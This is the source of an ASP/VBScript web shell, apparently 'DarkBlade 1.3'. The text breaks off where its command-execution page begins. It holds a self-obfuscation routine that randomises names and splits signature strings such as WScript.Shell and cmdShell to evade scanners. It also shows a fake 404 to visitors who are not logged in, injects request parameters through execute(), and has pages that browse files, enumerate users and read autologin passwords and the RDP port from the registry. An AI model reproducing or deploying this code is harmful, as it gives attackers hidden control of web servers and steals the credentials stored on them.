erGYfQkF

1<%@ LANGUAGE='VBScript' CODEPAGE='65001'%>
2<%
3	Response.Buffer=True
4	Response.CharSet="utf-8"
5	Server.ScriptTimeOut=300
6
7	'-------------------------------Config-------------------------------
8	'Private version, do not share it to anybody!
9	'DarkBlade 1.3 by B100d5w0rd, msn:bloodsword@live.cn
10	'Final version, no more update
11	'Thanks to these hackers:Bin, Luyu, Sht
12	
13	Const pass="27C839C78A3067DA5175109708C28A"	'tencentisapieceofshit
14	Const needEncode=False
15	Const encodeNum=20
16	Const isDebugMode=False
17	Const encodeCut="_"
18	Const pamtoEncode="thePath|cmdPath|cmdStr|connStr|queryStr|regPath|pubPam|txtObjInfo|StrTable|mdbPath|searchkey|suUser|suPass|suPath|suCmd|targetUrl|portList|dicList|ipList|destName|loadpath"
19	Const showLogin="login"
20	Const defaultChr="GB2312"
21	Const aspExt="asp|asa|cer|cdx"
22	Const textExt="asp|asa|cer|cdx|aspx|asax|ascx|cs|jsp|php|txt|inc|ini|js|htm|html|xml|config"
23	Const sqlPageSize=50
24	Const fToPre="zzzzzzzz.html"
25	Const bOtherUser=False		'
26	'-------------------------------Config-------------------------------
27
28
29
30	'-------------------Transform sign------------------
31	Const transformSign="'-------------------Transform sign------------------"
32	Const notToTransform="upload|action|file|password|text|server|title|user|login|value|port|filename|name|htmlEnc|type|http|pass|files|path|attributes|goaction|info|download|logout|login|content|charset|font|color|size|value|width|rows|class|name|value|width|size|color|save|down|span|echo|form|byval|find|vbcrlf"
33	Const strs_toTransform="command|Radmin|NTAuThenabled|FilterIp|IISSample|PageCounter|PermissionChecker|BrowserType|ContentRotator|SystemRoot|ComSpec|PATHEXT|PROCESSOR|ARCHITECTURE|IDENTIfIER|REVISION|Physical|Memory|Installed|NUMBER_OF_PROCESSORS|PROCESSOR_ARCHITECTURE|Os2LibPath|NameServer|DefaultGateway|HKEY|HKLM|LOCAL_MACHINE|SOFTWARE|CurrentVersion|Winlogon|CurrentControlSet|ControlSet001|WinStations|RDP-Tcp|PROCESSOR_IDENTIfIER|PROCESSOR_LEVEL|PROCESSOR_REVISION|Windows NT|AutoAdminLogon|DefaultUserName|DefaultPassword|ComputerName|DisplayLastUserName|anonymous|LanmanServer|AutoShareServer|EnableSharedNetDrives|EnableSecurityFilters|Engines|SandBoxMode|openrowSet|sp_oacreate|sp_oamethod|sp_oasetproperty|net user|PasswordExpired|Scripting.|.FileSystemObject|Shell.|.Application|WScript.|.Shell|.Stream|Adodb.|.Connection|.RecordSet|MSXML2.|.XMLHTTP|SoftArtisans.|.FileUp|.FileManager|Persits.|MSWC.|xplog70|addextEndedproc|master|cmdShell|regwrite|system32|SetDOMAIN|TZOEnable|43958|Serv-U|SetUSERSetUP|LoginMesFile|RelPaths|DELETEDOMAIN|MAINTENANCE|Maintenance|HomeDirDrive|NeedSecure|HideHidden|AlwaysAllowLogin|ChangePassword|QuotaEnable|SpeedLimitUp|SpeedLimitDown|MaxNrUsers|IdleTimeOut|RWAMELCDP|upadmin|LocalAdministrator|13709620|444553540000|72C24DD5|98424B88AFB8|Server.Execute|Eval|localgroup|MaxUsersLoginPerIP|Server.Execute|ShellExecute|Terminal|Unauthorized|DarkBladePass|AuThenticate|AUTH_USER|WinDir|ExecuteGlobal|sp_addsrvrolemember"
34	Const funcs_toTransform="SavetoFile|CopyFile|OpenTextFile|CreateTextFile|DeleteFile|GetParentFolder|GetExtension|CreateFolder|MoveFolder|GetFileName|CopyFolder|MoveFile|DeleteFolder|NameSpace|Environment|ExpandEnvironmentStrings|RegRead|Exec|Run|GetSystemInformation|Save|CopyHere|MoveHere|ReadAll|DriveLetter|DateCreated|LastModIfied|LastAccessed|Filesystem|TotalSize|PasswordMinimumLength|AccountDisabled|IsAccountLocked|AccountExpirationDate|LoadFromFile"
35	Dim currentPath,tmpPath,objCountFile,tempFileData,splitArray,strArray_toTransform,str_transformed,varArray_forbidden,funcArray_toTransform,total,arr_notToTransform,var_toTransform_list,strArr_toTransform,funcArr_toTransform,regex,filetopretEnd,nopretEnd,strForbidden
36	strForbidden="dim|sub|end|for|and|now|get|Set|chr|int|day|int|rnd|not|len|mid|sun|asc|cos|app|xor|imp|fix|atn|err|rgb|else|const|true|false|call|each|then|next|redim|error|null|empty|until|loop|case|step|log|dir|stop|str"
37	Set regex=new RegExp
38	regex.Global=True
39	regex.IgnoreCase=True
40	regex.MultiLine=True
41	arr_notToTransform=Split(notToTransform,"|")
42
43	funcArr_toTransform=Split(funcs_toTransform,"|")
44	var_toTransform_list=""
45	strArr_toTransform=Split(strs_toTransform,"|")
46	strUbound=UBound(strArr_toTransform)
47	filetopretEnd=request("filetopretEnd")
48	nopretEnd=request("nopretEnd")
49	serveren=request("serveren")
50	Call transinit()
51	Sub transinit()
52		If filetopretEnd=""And nopretEnd=""Then
53			Call userInit()
54			response.End
55		Else
56		Call Transform()
57		End If
58		Response.Redirect"?goaction=login"
59	End Sub
60	Sub userInit()
61		Dim fsoX,theFolder
62		Set fsoX=CreateObj("Scripting.FileSystemObject")
63		Set theFolder=fsoX.GetFolder(mapath("."))
64		echo"<form method=post>"
65		echo"Running first time,choose the file to pretEnd as."
66		echo"<select name=""filetopretEnd"">"
67		For Each subFile In theFolder.Files
68			If(Lcase(Right(subFile.Name,3))="asp"Or Lcase(Right(subFile.Name,3))="asa")And subFile.Name<>getRight(getServerVariable("PATH_INFO"),"/") Then echo"<option value="""&subFile.Name&""">"&subFile.Name&"</option>"
69		Next
70		echo"</select>"
71		echo"<input type=checkbox name=nopretEnd value=1>No pretEnding<br>"
72		echo"Server Encode:<input type=text name=serveren value='GB2312'><br>"
73		echo"<input type=submit value="" OK "">"
74		echo"</form>"
75	End Sub
76	Sub Transform()
77		Dim fsoX,crlf
78		crlf=Chr(13)&Chr(10)
79		currentPath=mapath(getCurrentFileName(request.ServerVariables("URL")))
80		tempFileData=readSelf(currentPath)
81		splitArray=Split(tempFileData,transformSign)
82		If nopretEnd=""Then nopretEnd=0
83		tempFileData=Replace(splitArray(0)&splitArray(3),"encodeNum=20","encodeNum="&getRndNum(20,81))
84		If nopretEnd<>1 And filetopretEnd<>""Then tempFileData=Replace(tempFileData,"zzzzzzzz.html",filetopretEnd)
85		If serveren<>""Then tempFileData=Replace(tempFileData,"GB2312",serveren)
86		tempFileData=Replace(tempFileData,Chr(9),"")
87		tempFileData=Replace(tempFileData,crlf&crlf,crlf)
88		tempFileData=Replace(tempFileData,crlf&crlf,crlf)
89		do_varTransform()
90		do_strTransform()
91		do_funcTransform()
92		saveSelf currentPath,tempFileData
93	End Sub
94
95	Function readSelf(thePath)
96		Set fsoX=CreateObj("Scripting.FileSystemObject")
97		Set objCountFile=fsoX.OpenTextFile(thePath,1,True)
98		readSelf=objCountFile.ReadAll
99		objCountFile.Close
100		Set objCountFile=Nothing
101	End Function
102	Sub saveSelf(thePath,fileContent)
103		Set fsoX=CreateObj("Scripting.FileSystemObject")
104		Set objCountFile=fsoX.CreateTextFile(thePath,True)
105		objCountFile.Write tempFileData
106		objCountFile.Close
107		Set objCountFile=Nothing
108	End Sub
109
110	Sub do_varTransform
111        
112		'Sub/Function Transform
113		Dim matchColl,arr_varToTransform,matchArr
114		regex.Pattern="(sub|function) +[\w]+(?= *\()"
115		regex.Global=True
116		regex.IgnoreCase=True
117		regex.MultiLine=True
118		Set matchColl=regex.Execute(tempFileData)
119		For Each matched In matchColl
120			matched=regRep(matched,"(sub|function) +","",False)
121			addToVarArr matched
122		Next
123		For Each tmpVar_toTramsform In Split(var_toTransform_list,"|")
124			do_varReplace tmpVar_toTramsform,0
125		Next
126		var_toTransform_list=""
127		'Var Transform
128		regex.Pattern="dim +[\w ,]+"
129		Set matchColl=regex.Execute(tempFileData)
130		For Each matched In matchColl
131			matched=Lcase(matched)
132			matched=Trim(Replace(Lcase(matched),"dim ",""))
133			For Each varToTransform In Split(matched,",")
134				addToVarArr varToTransform
135			Next
136		Next
137		regex.Pattern="const\s+[\w]+(?=\s*=)"
138		Set matchColl=regex.execute(tempFileData)
139		For Each matched In matchColl
140			matched=Replace(Lcase(matched),"const","")
141			matched=Trim(Replace(Lcase(matched),"set",""))
142			addToVarArr matched
143		Next
144		'Parameter Transform
145		regex.Pattern="(function|sub)\s+[\w]+\([\w,]+"
146		Set matchColl=regex.execute(tempFileData)
147		For Each matched In matchColl
148			matched=getRight(Lcase(matched),"(")
149			For Each subPam In Split(matched,",")
150				If InStr(subPam," ")>0 Then subPam=getRight(subPam," ")
151				addToVarArr Trim(subPam)
152			Next
153		Next
154		regex.Pattern="case\s*""[^\r\n]+"""
155		Set matchColl=regex.execute(tempFileData)
156		For Each matched In matchColl
157			matched=regRep(matched,"case\s*""","",False)
158			matched=Replace(matched,"""","")
159			If InStr(matched,",")>0 Then
160				For Each subMacthed In Split(matched,",")
161					addToVarArr Trim(subMacthed)
162				Next
163			Else
164				addToVarArr matched
165			End If
166		Next
167		For Each tmpVar_toTramsform In Split(var_toTransform_list,"|")
168			do_varReplace tmpVar_toTramsform,3
169		Next
170		var_toTransform_list=""
171
172	End Sub
173	Sub do_varReplace(varToTransform,intType)
174		If varToTransform=""Then Exit Sub
175		Dim varTransformed,strPattern
176		varTransformed=getRndStr()
177		strForbidden=strForbidden&"|"&Lcase(varTransformed)
178		varToTransform=Replace(varToTransform,".","\.")
179		Select Case intType
180			Case 0
181				strPattern="([^\w\\])"&varToTransform&"(?![\w\\])"
182				tempFileData=regRep(tempFileData,strPattern,"$1"&varTransformed,False)
183			Case Else
184				strPattern="([^\w\\])"&varToTransform&"(?![\w\\])"
185				tempFileData=regRep(tempFileData,strPattern,"$1"&varTransformed,False)
186		End Select
187	End Sub
188	Sub do_strTransform()
189		For Each str_toTransform In strArr_toTransform
190			do_strReplace str_toTransform
191		Next
192	End Sub
193	Sub do_strReplace(str)
194		If str=""Then Exit Sub
195		Dim rndNum,str_transformed,strPattern
196		rndNum=getRndNum(2,Len(str)-3)
197		str_transformed=Left(str,rndNum)&"""&"&getRndStr()&"&"""&Right(str,Len(str)-rndNum)
198		strPattern="\b"&Replace(Replace(str,".","\."),"_","\_")&"\b"
199		echo strPattern&"<br>"
200		tempFileData=regRep(tempFileData,strPattern,str_transformed,False)
201	End Sub
202	Sub do_funcTransform
203		Dim tmpFunc,matchColl,matched
204		regex.Global=True
205		regex.IgnoreCase=True
206		regex.MultiLine=True
207		For Each tmpFunc In funcArr_toTransform
208			regex.Pattern="[^\n\r]+\."&tmpFunc&"\b[^\n\r]+"
209			Set matchColl=regex.Execute(tempFileData)
210			For Each matched In matchColl
211				do_funcReplace matched,tmpFunc
212			Next
213		Next
214	End Sub
215	Sub do_funcReplace(strLine,func_toTransform)
216		If func_toTransform=""Or strLine=""Then Exit Sub
217		Dim tmpFunc,func_transformed,rndStr,rndNum,line_transformed
218		If Left(Lcase(strLine),3)="if "Or Left(Lcase(strLine),4)="for "Then Exit Sub
219		rndStr=getRndStr()
220		rndNum=getRndNum(1,Len(func_toTransform)-1)
221		func_transformed=Left(func_toTransform,rndNum)&"""&"&rndStr&"&"""&Right(func_toTransform,Len(func_toTransform)-rndNum)
222		regex.Global=True
223		regex.IgnoreCase=True
224		regex.MultiLine=True
225		regex.Pattern="""[^&]*\b"&func_toTransform&"\b[^&]*"""
226		If Left(line_transformed,8)="execute " Or regex.test(strLine)Then
227			line_transformed=Replace(strLine,func_toTransform,func_transformed,1,-1,1)
228		Else
229			line_transformed=Replace(strLine,"""","""""")
230			line_transformed=Replace(line_transformed,func_toTransform,func_transformed,1,-1,1)
231			line_transformed="execute """&line_transformed&""""
232		End If
233		tempFileData=Replace(tempFileData,strLine,line_transformed)
234	End Sub
235
236	Sub addToVarArr(str)
237		If Not isTransAble(str)Then Exit Sub
238		If InStr(var_toTransform_list,"|"&str)>0 Or InStr(var_toTransform_list,str&"|")>0 Then Exit Sub
239		If var_toTransform_list=""Then
240			var_toTransform_list=str
241		Else
242			var_toTransform_list=var_toTransform_list&"|"&str
243		End If
244	End Sub
245	Function isTransAble(str)
246		If Len(str)<4 Then
247			isTransAble=False
248			Exit Function
249		End If
250		For Each strNotTransform In arr_notToTransform
251			If strNotTransform=Lcase(str)Then
252				isTransAble=False
253				Exit Function
254			End If
255		Next
256		isTransAble=True
257	End Function
258	Function getCurrentFileName(url)
259		getCurrentFileName=Right(url,Len(url)-InStrrev(url,"/"))
260	End Function
261	Function getRndStr()
262		Dim rndStr
263		rndStr=""
264		Do While not chkRndStr(rndStr)
265			rndStr=""
266			For i=1 To getRndNum(3,3)
267				rndStr=rndStr&getRndChar()
268			Next
269		Loop
270		getRndStr=rndStr
271	End Function
272	Function chkRndStr(Str)
273		Str=Lcase(str)
274		If Left(Str,1)="h"Or Len(str)<3 Then
275			chkRndStr=False
276			Exit Function
277		End If
278		If InStr(strForbidden,"|"&Str)>0 Or InStr(strForbidden,Str&"|")>0 Then
279			chkRndStr=False
280			Exit Function
281		End If
282		chkRndStr=true
283	End Function
284	Function getRndChar()
285		Dim SYMBOL_Char:SYMBOL_Char="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
286		Randomize
287		getRndChar=Mid(SYMBOL_Char,getRndNum(1,52),1)
288	End Function
289	Function getRndNum(a,b)
290		Randomize
291		getRndNum=Int(b * rnd+a)
292	End Function
293
294	Function regRep(str,strPattern,replaced,needFormat)
295		If needFormat Then
296			strPattern=Replace(strPattern,"\","\\")
297			strPattern=Replace(strPattern,".","\.")
298			strPattern=Replace(strPattern,"?","\?")
299			strPattern=Replace(strPattern,"+","\+")
300			strPattern=Replace(strPattern,"(","\(")
301			strPattern=Replace(strPattern,")","\)")
302			strPattern=Replace(strPattern,"*","\*")
303			strPattern=Replace(strPattern,"[","\[")
304			strPattern=Replace(strPattern,"]","\]")
305		End If
306		regex.Pattern=strPattern
307		regRep=regex.Replace(str,replaced)
308	End Function
309
310	'-------------------Transform sign------------------
311
312	Dim goaction,thePath,cmdStr,connStr,regPath,pubPam,serverName,objXml,objWs,objFso,objSa,objStream,objRe,pagePath,pageName,startTime,EndTime,aspPath,rootPath,errMsg,txtObjInfo,trId,SessionKey,SessionValue,cmdPath,formId,subAct,truePath,localName,strFileMethod,fileContent,newOneName,newOneType,dbType,conn,strTable,intPage,mdbName,dbname,packMethod,mdbName2,mdbPath,searchkey,useReg,suUser,suPass,suPort,suPath,suCmd,deldomain,newdomain,newuser,suquit,loginuser,loginpass,mt,targetUrl,ipList,portList,dicList,outPath,outExt,cmdDoTExeFiLe,userPass,queryStr,sversion,cookiePre,cookiePass,strObj,strReplaceTo,needReplace,searchExt,getInc,chkPath,needecho,datem,strRefFile,fsoAttrib,logged,shellenv,nuser,npass,nport,cls_upload,destName,loadPath,strfrm,sqlver,moveme
313	sversion="DarkBlade 1.3 Private"
314	cookiePre="DarkBlade"
315	cookiePass="DarkBladePass"
316	doInit()
317	logged=isIn()
318	If logged Then
319		pamInit()
320	Else
321		goaction=request("goaction")
322	End If
323	If Not logged And goaction<>showLogin Then show404()
324	If bOtherUser And Trim(getServerVariable("AUTH_USER"))="" Then
325		Response.Status="401 Unauthorized"
326		Response.Addheader"WWW-AuThenticate","BASIC"
327		If getServerVariable("AUTH_USER")=""Then Response.End()
328	End If
329	Select Case goaction
330		Case showLogin
331			pageLogin()
332		Case"objOnSrv"
333			PageObjOnSrv()
334		Case"userList"
335			PageUserList()
336		Case"CSInfo"
337			PageCSInfo()
338		Case"WsCmdRun"
339			PageWsCmdRun()
340		Case"infoAboutSrv"
341			PageInfoAboutSrv()
342		Case"MsDataBase"
343			PageMsDataBase()
344		Case"OtherTools"
345			PageOtherTools()
346		Case"TxtSearcher"
347			PageTxtSearcher()
348		Case"ServUp"
349			PageServUp()
350		Case"ScanShell"
351			PageScan()
352		Case"Logout"
353			PagedoLogout()
354		Case"AddToMdb"
355			PageAddToMdb()
356		Case"SaFileExplorer","FsoFileExplorer"
357			PageFileExplorer()
358		Case Else
359			PageFileExplorer()
360	End Select
361	doFin
362
363	Sub doInit()
364		If Not isDebugMode Then On Error Resume Next
365		startTime=Timer()
366		Dim formContent,queryContent,upformContent,Sessions,Session_Array,sescontent,strTodecode,pamArrtoEncode
367		servurl=getServerVariable("URL")
368		Set objXml=CreateObj("MSXML2.XMLHTTP")
369		Set objWs=CreateObj("WScript.Shell")
370		Set objFso=CreateObj("Scripting.FileSystemObject")
371		Set objSa=CreateObj("Shell.Application")
372		If Not IsObject(objWs)Then Set objWs=CreateObj("WScript.Shell.1")
373		If Not IsObject(objSa)Then Set objSa=CreateObj("Shell.Application.1")
374		Set objRe=new RegExp
375		objRe.Global=True
376		objRe.IgnoreCase=True
377		objRe.MultiLine=True
378		serverName=getServerVariable("SERVER_NAME")
379		pagePath=getServerVariable("PATH_INFO")
380		pageName=Lcase(getRight(pagePath,"/"))
381		aspPath=mapath(".")
382		rootPath=mapath("/")
383		formId=1
384		trId=1
385	End Sub
386	Sub pamInit()
387		For Each queryContent In request.queryString
388			execute queryContent&"=request.queryString("""&queryContent&""")"
389		Next
390		For Each formContent In request.Form
391			execute formContent&"=request.form("""&formContent&""")"
392		Next
393		If InStr(getServerVariable("CONTENT_TYPE"),"multipart/form-data")=1 Then
394			Set cls_upload=new upload_5xsoft
395			For Each upformContent In cls_upload.objForm
396				execute upformContent&"=cls_upload.objForm("""&upformContent&""")"
397			Next
398		End If
399		pamArrtoEncode=Split(pamtoEncode,"|")
400		For Each strTodecode In pamArrtoEncode
401			execute""&strTodecode&"=secretDecode("&strTodecode&")"
402		Next
403		If Right(thePath,1)="\"And Len(thePath)>3 Then thePath=Left(thePath,Len(thePath)-1)
404	End Sub
405	Sub doFin()
406		If Not isDebugMode Then On Error Resume Next
407		Dim timeProcessed
408		objXml.abort
409		Set objXml=Nothing
410		Set objWs=Nothing
411		Set objFso=Nothing
412		Set objSa=Nothing
413		Set objRe=Nothing
414		EndTime=timer()
415		timeProcessed=EndTime-startTime
416		echo"<br></div>"
417		doTable"100%"
418		echo"<tr class=""head"">"
419		echo"<td>"
420		echoLine errMsg
421		timeProcessed=FormatNumber(timeProcessed,5)
422		If Left(timeProcessed,1)="."Then timeProcessed="0"&timeProcessed
423		echoLine"<br>"
424		echo"<div align=right>Processed in :"&timeProcessed&"seconds</div></td></tr></table></body></html>"
425		Response.End()
426	End Sub
427
428	Sub pageLogin()
429		If Not isDebugMode Then On Error Resume Next
430		userPass=request("userPass")
431		If userPass<>""Then
432			userPass=CFSEncode(userPass)
433			If CFSEncode(userPass)=pass Then
434				Response.Cookies(cookiePass)=userPass
435				Response.Redirect(pagePath)
436			Else
437				errMsgAdd"Fuck you,get out!"
438			End If
439		End If
440		showTitle"Login"
441		echo"<center><br>"
442		doForm False
443		echo"<b>Password : </b>"
444		doInput"password","userPass","","30",""
445		echo" "
446		doSubmit"Get In"
447		echo"</center></form>"
448	End Sub
449
450	Sub PageInfoAboutSrv()
451		If Not isDebugMode Then On Error Resume Next
452		Dim i,objWshSysEnv,aryExEnvList,strExEnvList,intCpuNum,strCpuInfo,strOS,terminalPortPath,terminalPortKey,termPort
453		strExEnvList="SystemRoot|WinDir|ComSpec|TEMP|TMP|NUMBER_OF_PROCESSORS|OS|Os2LibPath|Path|PATHEXT|PROCESSOR_ARCHITECTURE|"&_
454					"PROCESSOR_IDENTIfIER|PROCESSOR_LEVEL|PROCESSOR_REVISION"
455		aryExEnvList=Split(strExEnvList,"|")
456		Set objWshSysEnv=objWs.Environment("SYSTEM")
457		intCpuNum=getServerVariable("NUMBER_OF_PROCESSORS")
458		If IsNull(intCpuNum)Or intCpuNum=""Then
459			intCpuNum=objWshSysEnv("NUMBER_OF_PROCESSORS")
460		End If
461		strOS=getServerVariable("OS")
462		If IsNull(strOS)Or strOS=""Then
463			strOS=objWshSysEnv("OS")
464			strOs=strOs&"(probably Windows 2003)"
465		End If
466		strCpuInfo=objWshSysEnv("PROCESSOR_IDENTIfIER")
467		showTitle"Server Infomation"
468		doTable"100%"
469		doTh
470		echo"<td colspan=""2""align=""center"">"
471		echo"<b>Server parameters:</b>"
472		echo"</td>"
473		doTtr
474		doTr 0
475		doTd"Server name:",""
476		doTd serverName,""
477		doTtr
478		doTr 1
479		doTd"Server IP:",""
480		doTd getServerVariable("LOCAL_ADDR"),""
481		doTtr
482		doTr 0
483		doTd"Server port:",""
484		doTd getServerVariable("SERVER_PORT"),""
485		doTtr
486		doTr 1
487		doTd"Server memory",""
488		doTd getTheSize(objSa.GetSystemInformation("PhysicalMemoryInstalled")),""
489		doTtr
490		doTr 0
491		doTd"Server time",""
492		doTd Now,""
493		doTtr
494		doTr 1
495		doTd"Server soft",""
496		doTd getServerVariable("SERVER_SOFTWARE"),""
497		doTtr
498		doTr 0
499		doTd"Script timeout",""
500		doTd Server.ScriptTimeout,""
501		doTtr
502		doTr 1
503		doTd"Number of cpus",""
504		doTd intCpuNum,""
505		doTtr
506		doTr 0
507		doTd"Info of cpus",""
508		doTd strCpuInfo,""
509		doTtr
510		doTr 1
511		doTd"Server OS",""
512		doTd strOS,""
513		doTtr
514		doTr 0
515		doTd"Server script engine",""
516		doTd ScriptEngine&"/"&ScriptEngineMajorVersion&"."&ScriptEngineMinorVersion&"."&ScriptEngineBuildVersion,""
517		doTtr
518		doTr 1
519		doTd"File full path",""
520		doTd getServerVariable("PATH_TRANSLATED"),""
521		doTtr
522		trId=0
523		For i=0 To UBound(aryExEnvList)
524			doTr trId
525			doTd aryExEnvList(i)&":",""
526			doTd objWs.ExpandEnvironmentStrings("%"&aryExEnvList(i)&"%"),""
527			doTtr
528			trIdAdd
529		Next
530		doTtable
531		chkerr(Err)
532		echo"<br>"
533		Set objWshSysEnv=Nothing
534		Dim objTheDrive
535		doTable"100%"
536		doTh
537		echo"<td colspan=""6""align=""center"">"
538		echo"<b>Info of disks</b>"
539		echo"</td>"
540		doTtr
541		doTr 0
542		doTd"Driver letter",""
543		doTd"Type",""
544		doTd"Label",""
545		doTd"File system",""
546		doTd"Space left",""
547		doTd"Total space",""
548		doTtr
549		trId=1
550		For Each objTheDrive In objFso.Drives
551			Dim dLetter,dType,vName,fSystem,fSpace,tSize
552			dLetter=objTheDrive.DriveLetter
553			If Lcase(dLetter)<>"a"Then
554				dType=getDriveType(objTheDrive.DriveType)
555				vName=objTheDrive.VolumeName
556				fSystem=objTheDrive.Filesystem
557				fSpace=getTheSize(objTheDrive.FreeSpace)
558				tSize=getTheSize(objTheDrive.TotalSize)
559				doTr trId
560				doTd dLetter,""
561				doTd dType,""
562				doTd vName,""
563				doTd fSystem,""
564				doTd fSpace,""
565				doTd tSize,""
566				doTtr
567			End If
568			dLetter=""
569			dType=""
570			vName=""
571			fSystem=""
572			fSpace=""
573			tSize=""
574			trIdAdd
575		Next
576		doTtable
577		chkerr(Err)
578		Set objTheDrive=Nothing
579		Dim objTheFolder
580		Set objTheFolder=objFso.GetFolder(rootPath)
581		echo"<br>"
582		doTable"100%"
583		doTh
584		echo"<td colspan=""2""align=""center"">"
585		echo"<b>Info of site:</b>"
586		echo"</td>"
587		doTtr
588		doTr 0
589		doTd"Physical path:",""
590		doTd rootPath,""
591		doTtr
592		doTr 1
593		doTd"Current size:",""
594		doTd getTheSize(objTheFolder.Size),""
595		doTtr
596		doTr 0
597		doTd"File count:",""
598		doTd objTheFolder.Files.Count,""
599		doTtr
600		doTr 1
601		doTd"Folder count:",""
602		doTd objTheFolder.SubFolders.Count,""
603		doTtr
604		doTtable
605		chkerr(Err)
606		echoLine"<br>"
607		Dim autoLoginPath,autoLoginUserKey,autoLoginPassKey
608		Dim isAutoLoginEnable,autoLoginEnableKey,autoLoginUsername,autoLoginPassword
609		terminalPortPath="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\"
610		terminalPortKey="PortNumber"
611		termPort=ReadReg(terminalPortPath&terminalPortKey)
612		If termPort=""Then termPort="Can't get terminal port.<br/>"
613		autoLoginPath="HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"
614		autoLoginEnableKey="AutoAdminLogon"
615		autoLoginUserKey="DefaultUserName"
616		autoLoginPassKey="DefaultPassword"
617		isAutoLoginEnable=ReadReg(autoLoginPath&autoLoginEnableKey)
618		If isAutoLoginEnable=0 Then
619			autoLoginUsername="Autologin isn't enabled"
620		Else
621			autoLoginUsername=ReadReg(autoLoginPath&autoLoginUserKey)
622		End If
623		If isAutoLoginEnable=0 Then
624			autoLoginPassword="Autologin isn't enabled"
625		Else
626			autoLoginPassword=ReadReg(autoLoginPath&autoLoginPassKey)
627		End If
628		doTable"100%"
629		doTh
630		echo"<td colspan=""2""align=""center"">"
631		echo"<b>Info of Terminal port&Autologin</b>"
632		echo"</td>"
633		doTtr
634		doTr 0
635		doTd"Terminal port:",""
636		doTd termPort,""
637		doTtr
638		doTr 1
639		doTd"Autologin account:",""
640		doTd autoLoginUsername,""
641		doTtr
642		doTr 0
643		doTd"Autologin password:",""
644		doTd autoLoginPassword,""
645		doTtr
646		doTtable
647		echo"</ol>"
648		chkerr(Err)
649	End Sub
650
651	Sub PageObjOnSrv()
652		Dim i,objTmp,strObjectList,strDscList
653
654		strObjectList="MSWC.AdRotator,MSWC.BrowserType,MSWC.NextLink,MSWC.TOOLS,MSWC.Status,MSWC.Counters,IISSample.ContentRotator,IISSample.PageCounter,MSWC.PermissionChecker,Adodb.Connection,SoftArtisans.FileUp,SoftArtisans.FileManager,LyfUpload.UploadFile,Persits.Upload.1,W3.Upload,JMail.SmtpMail,CDONTS.NewMail,Persits.Mailsender,SMTPsvg.Mailer,DkQmail.Qmail,Geocel.Mailer,IISmail.Iismail.1,SmtpMail.SmtpMail.1,SoftArtisans.ImageGen,W3Image.Image,Scripting.FileSystemObject,Adodb.Stream,Shell.Application,Shell.Application.1,WScript.Shell,WScript.Shell.1,WScript.Network,hzhost.modules"
655		strDscList="Ad Rotator,Browser info,NextLink,,,Counters,Content rotator,,Permission checker,ADODB connection,SA-FileUp,SoftArtisans FileManager,LyfUpload,ASPUpload,Dimac upload,Dimac JMail,CDONTS SMTP mail,ASPemail,ASPmail,dkQmail,Geocel mail,IISmail,SmtpMail,SoftArtisans ImageGen,Dimac W3Image,FSO,Stream ,,,,,,Hzhost module"
656
657		aryObjectList=Split(strObjectList,",")
658		aryDscList=Split(strDscList,",")
659		showTitle"Server Object Probe"
660		echo"Check for other ObjectId or ClassId.<br>"
661		doForm True
662		doInput"text","txtObjInfo",txtObjInfo,50,""
663		echo" "
664		doSubmit"Check"
665		doFform
666		If txtObjInfo<>""Then
667			doUl
668			Call getObjInfo(txtObjInfo,"")
669			echo"</ul>"
670		End If
671		echo"<hr/>"
672		echo"<ul class=""info""><li><u>Object name</u>Status and more</li>"
673
674		For i=0 To UBound(aryDscList)
675			Call getObjInfo(aryObjectList(i),aryDscList(i))
676		Next
677
678		echo"</ul><hr/>"
679	End Sub
680
681	Sub PageUserList()
682		Dim objUser,objGroup,objComputer
683
684		showTitle"Users and Groups Imformation"
685		Set objComputer=getObj("WinNT://.")
686		objComputer.Filter=Array("User")
687		doShowHideMe"User",False
688		doTable"100%"
689		For Each objUser in objComputer
690			doTh
691			echo"<td colSpan=""2""align=""center""><b>"&objUser.Name&"</b></td>"
692			doTtr
693			showUserInfo(objUser.Name)
694		Next
695		doTtable
696		echo"</span><br>"
697		chkerr(Err)
698		doShowHideMe"UserGroup",False
699		objComputer.Filter=Array("Group")
700		doTable"100%"
701		trId=1
702		For Each objGroup in objComputer
703			doTr trId
704			doTd objGroup.Name,""
705			doTd objGroup.Description,""
706			doTtr
707			trIdAdd
708		Next
709		doTtable
710		echo"</span>"
711		chkerr(Err)
712	End Sub
713
714	Sub PageCSInfo()
715		If Not isDebugMode Then On Error Resume Next
716		Dim strKey,strVar,strVariable,SessionContent
717		If SessionKey<>""Then Session(SessionKey)=SessionValue
718		showTitle"Server-Client Information"
719		doShowHideMe"ServerVariables",True
720		doTable"100%"
721		trId=1
722		For Each strVariable In Request.ServerVariables
723			doTr trId
724			doTdNoWrap strVariable
725			doTd getServerVariable(strVariable),""
726			doTtr
727			trIdAdd
728		Next
729		doTtable
730		echoLine"</span><br>"
731		doShowHideMe"Application",True
732		doTable"100%"
733		trId=1
734		For Each strVariable In Application.Contents
735			doTr trId
736			doTdNoWrap strVariable
737			doTd htmlEnc(Application(strVariable)),""
738			doTtr
739			trIdAdd
740		Next
741		doTtable
742		echoLine"</span><br>"
743		doShowHideMe"Session",True
744		echo"<br>(ID"&Session.SessionId&")"
745		doTable"100%"
746		trId=1
747		For Each strVariable In Session.Contents
748			SessionContent=Session(strVariable)
749			doTr trId
750			doTdNoWrap strVariable
751			doTd htmlEnc(SessionContent),""
752			doTtr
753			trIdAdd
754		Next
755		doTr trId
756		doForm False
757		doTdSubmit"Set Session","20%"
758		echo"<td width=""80%""> Key :"
759		doInput"text","SessionKey","",30,""
760		echo"Value :"
761		doInput"text","SessionValue","",30,""
762
763		echo"</td>"
764		doFform
765		doTtr
766		doTtable
767		echoLine"</span><br>"
768		doShowHideMe"Cookies",True
769		doTable"100%"
770		trId=1
771		For Each strVariable In Request.Cookies
772			If Request.Cookies(strVariable).HasKeys Then
773				For Each strKey In Request.Cookies(strVariable)
774					doTr trId
775					doTdNoWrap strVariable&"("&strKey&")"
776					doTd htmlEnc(Request.Cookies(strVariable)(strKey)),""
777					doTtr
778					trIdAdd
779				Next
780			Else
781				doTr trId
782				doTdNoWrap strVariable
783				doTd htmlEnc(Request.Cookies(strVariable)),""
784				doTtr
785				trIdAdd
786			End If
787		Next
788		doTtable
789		echo"</span>"
790		chkerr(Err)
791	End Sub
792
793	Sub PageWsCmdRun()
